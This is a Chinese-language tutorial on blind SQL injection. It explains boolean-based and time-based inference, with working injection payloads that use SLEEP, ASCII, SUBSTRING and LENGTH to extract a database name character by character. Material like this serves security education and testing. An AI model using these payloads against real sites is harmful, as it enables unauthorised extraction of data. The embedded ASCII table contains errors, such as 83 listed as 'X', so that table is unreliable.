1. 盲注
盲注(Blind SQL Injection) 是SQL注入的一种形式,适用于目标应用不会直接返回数据库错误信息或查询结果的情况。攻击者无法直接获取数据,但可以通过观察页面响应差异(如布尔状态、时间延迟等)间接推断数据库信息。
1.1. 盲注的运用方法
- 手工测试流程:
- 步骤1:确认注入点确定存在SQL注入漏洞的参数(如URL参数、表单字段)。
- 步骤2:判断盲注类型
- 布尔盲注:构造AND 1=1(正常)和AND 1=0(异常),观察页面差异。
- 时间盲注:注入AND SLEEP(5),观察响应是否延迟。
-
- 步骤3:逐位提取数据
- 使用SUBSTRING()和ASCII()函数逐字符猜测。
- 通过二分法或遍历ASCII码缩小范围。
- 步骤3:逐位提取数据
-
- 步骤4:自动化工具辅助使用burp等工具自动化探测,加速数据提取。
1.1.1. 布尔盲注
1.1.1.1. 1. 确认注入点
测试是否存在布尔盲注:
id=1' AND 1=1 -- 正常
id=1' AND 1=0 -- 异常
若两次请求的页面内容不同,则存在布尔盲注漏洞。真假输入,产生差异化
数字型:
id=1' and 1=1(真)
id=1' and 1=3(假)
字符型:
id=1' and 1=9--+
1.1.1.2. 3. 获取数据长度
猜测数据长度(如数据库名长度):
- sql复制id=1' AND LENGTH(DATABASE())=8 --+
若页面正常,则数据库名长度为8。
对于这个数字8,一般情况下我们是不清楚数据库长度的,这时候可以对请求页面进行蒱捉工具 使用burp爆破数据库长度
我使用bp对猜测进行了拦截我输入的是4
使用bp爆破长度为8
当我们对长度进行爆破后就可以进行数据库名的爆破了
1.1.1.3. 获取数据库名字
数据库一般是字符,用单引号包裹起来才能识 别,实战中各种因素很多,可能单引号也不好使,这时候可以用 ASCII 函数来
指令: id=1' and mid(database(),1,1)='s'--+
爆破成功第一个字母是s
id=1' and ascii(mid(database(),1,1))=115--+
标蓝底的是可以进行爆破的字母,数字都可以,而数字降低了容错,用数字对应ASCII码值可以获得数据库名称。
依次对mid函数中数字修改可以实现数据库名字爆破
ASCII码表
ASCII值 | 控制字符 | ASCII值 | 控制字符 | ASCII值 | 控制字符 | ASCII值 | 控制字符 |
0 | NUL | 32 | (space) | 64 | @ | 96 | 、 |
1 | SOH | 33 | ! | 65 | A | 97 | a |
2 | STX | 34 | ” | 66 | B | 98 | b |
3 | ETX | 35 | # | 67 | C | 99 | c |
4 | EOT | 36 | $ | 68 | D | 100 | d |
5 | ENQ | 37 | % | 69 | E | 101 | e |
6 | ACK | 38 | & | 70 | F | 102 | f |
7 | BEL | 39 | ' | 71 | G | 103 | g |
8 | BS | 40 | ( | 72 | H | 104 | h |
9 | HT | 41 | ) | 73 | I | 105 | i |
10 | LF | 42 | * | 74 | J | 106 | j |
11 | VT | 43 | + | 75 | K | 107 | k |
12 | FF | 44 | , | 76 | L | 108 | l |
13 | CR | 45 | - | 77 | M | 109 | m |
14 | SO | 46 | . | 78 | N | 110 | n |
15 | SI | 47 | / | 79 | O | 111 | o |
16 | DLE | 48 | 0 | 80 | P | 112 | p |
17 | DCI | 49 | 1 | 81 | Q | 113 | q |
18 | DC2 | 50 | 2 | 82 | R | 114 | r |
19 | DC3 | 51 | 3 | 83 | X | 115 | s |
20 | DC4 | 52 | 4 | 84 | T | 116 | t |
21 | NAK | 53 | 5 | 85 | U | 117 | u |
22 | SYN | 54 | 6 | 86 | V | 118 | v |
23 | TB | 55 | 7 | 87 | W | 119 | w |
24 | CAN | 56 | 8 | 88 | X | 120 | x |
25 | EM | 57 | 9 | 89 | Y | 121 | y |
26 | SUB | 58 | : | 90 | Z | 122 | z |
27 | ESC | 59 | ; | 91 | [ | 123 | { |
28 | FS | 60 | < | 92 | \ | 124 | | |
29 | GS | 61 | = | 93 | ] | 125 | } |
30 | RS | 62 | > | 94 | ^ | 126 | ~ |
31 | US | 63 | ? | 95 | — | 127 | DEL |
1.1.2. 时间盲注
时间盲注(Time-Based Blind SQL Injection)是SQL注入的一种特殊形式,适用于 页面无任何内容或状态差异,但攻击者可通过注入时间延迟函数
(如SLEEP()),根据响应时间差异间接推断数据库信息。
1.1.2.1. 一、时间盲注的核心原理
攻击者构造SQL语句,当条件为真时触发数据库执行延迟操作(如SLEEP(5)),通过观察响应时间判断条件是否成立。
示例:id=1' AND IF(1=1, SLEEP(5), 0) --+ 若页面响应时间增加约5秒,则说明条件为真。通过延迟是否触发,结合逐字符猜测(ASCII码)推断目标数据。
1.1.2.2. 三、攻击步骤
- 确认注入点测试是否存在时间盲注:id=1' AND SLEEP(5) -- +若页面响应时间显著增加(约5秒),则存在时间盲注漏洞。
- 确定数据库类型不同数据库的延迟函数:
数据库 延迟函数 MySQL SLEEP(N) PostgreSQL pg_sleep(N) SQL Server WAITFOR DELAY '0:0:N' Oracle DBMS_LOCK.SLEEP(N)
- 获取数据长度猜测数据长度(如数据库名长度):id=1' AND IF(LENGTH(DATABASE())=5, SLEEP(5), 0) -- 若响应延迟5秒,则数据库名长度为5。
- 逐字符提取数据使用SUBSTRING和ASCII函数:id=1' AND IF(ASCII(SUBSTRING(DATABASE(),1,1))>100, SLEEP(5), 0) -- 若延迟触发,说明第一个字符的ASCII码大于100。
通过二分法缩小范围:id=1' AND IF(ASCII(SUBSTRING(DATABASE(),1,1))=115, SLEEP(5), 0) -- 若延迟触发,则第一个字符为s(ASCII码115)。
四、实战示例:手动注入数据库名假设目标为MySQL数据库,URL参数id存在时间盲注漏洞。
步骤1:确认数据库名长度' AND IF(LENGTH(DATABASE())=5, SLEEP(5), 0) -- 若响应延迟5秒,则数据库名长度为5。
步骤2:逐字符猜测数据库名
AND IF(ASCII(SUBSTRING(DATABASE(),1,1))=115, SLEEP(5), 0) --若延迟5秒,则第一个字符为s。
重复步骤,直至获取完整名称:
AND IF(ASCII(SUBSTRING(DATABASE(),2,1))=97, SLEEP(5), 0) -- 若延迟5秒,则第二个字符为a,最终数据库名为sa...。